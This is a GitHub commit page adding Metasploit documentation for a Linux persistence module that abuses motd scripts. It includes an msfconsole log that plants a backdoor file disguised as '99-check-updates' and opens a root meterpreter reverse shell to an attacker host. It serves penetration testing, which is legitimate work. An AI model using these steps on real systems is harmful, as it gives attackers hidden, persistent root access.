forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
49 additions
and
0 deletions.
There are no files selected for viewing
49 changes: 49 additions & 0 deletions
49
documentation/modules/exploit/linux/local/motd_persistence.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,49 @@ | ||
This is a post module that perform a persistence installation on a linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html). | ||
To trigger the persistence execution, an external event such as an user logging in the system with `SSH` is required. | ||
|
||
## Verification Steps | ||
|
||
1. Start msfconsole | ||
2. Obtain a session on the target machine | ||
3. `use exploit/linux/local/motd_persistence` | ||
4. `set session -1` | ||
5. `exploit` | ||
|
||
## Module usage | ||
|
||
``` | ||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use motd | ||
Matching Modules | ||
================ | ||
# Name Disclosure Date Rank Check Description | ||
- ---- --------------- ---- ----- ----------- | ||
0 exploit/linux/local/motd_persistence 1999-01-01 normal No update-motd.d Persistence | ||
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/local/motd_persistence | ||
[*] Using exploit/linux/local/motd_persistence | ||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(linux/local/motd_persistence) > set session -1 | ||
session => -1 | ||
msf6 exploit(linux/local/motd_persistence) > exploit | ||
[*] /etc/update-motd.d/99-check-updates written | ||
msf6 exploit(linux/local/motd_persistence) > | ||
[*] Sending stage (3045380 bytes) to 172.18.49.39 | ||
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400 | ||
msf6 exploit(linux/local/motd_persistence) > sessions -i -1 | ||
[*] Starting interaction with 2... | ||
meterpreter > getuid | ||
Server username: root | ||
meterpreter > | ||
``` | ||
|
||
## Options | ||
|
||
### BACKDOOR_NAME | ||
|
||
Specify the name of the file to insert in the motd directory. (Default: 99-check-updates) |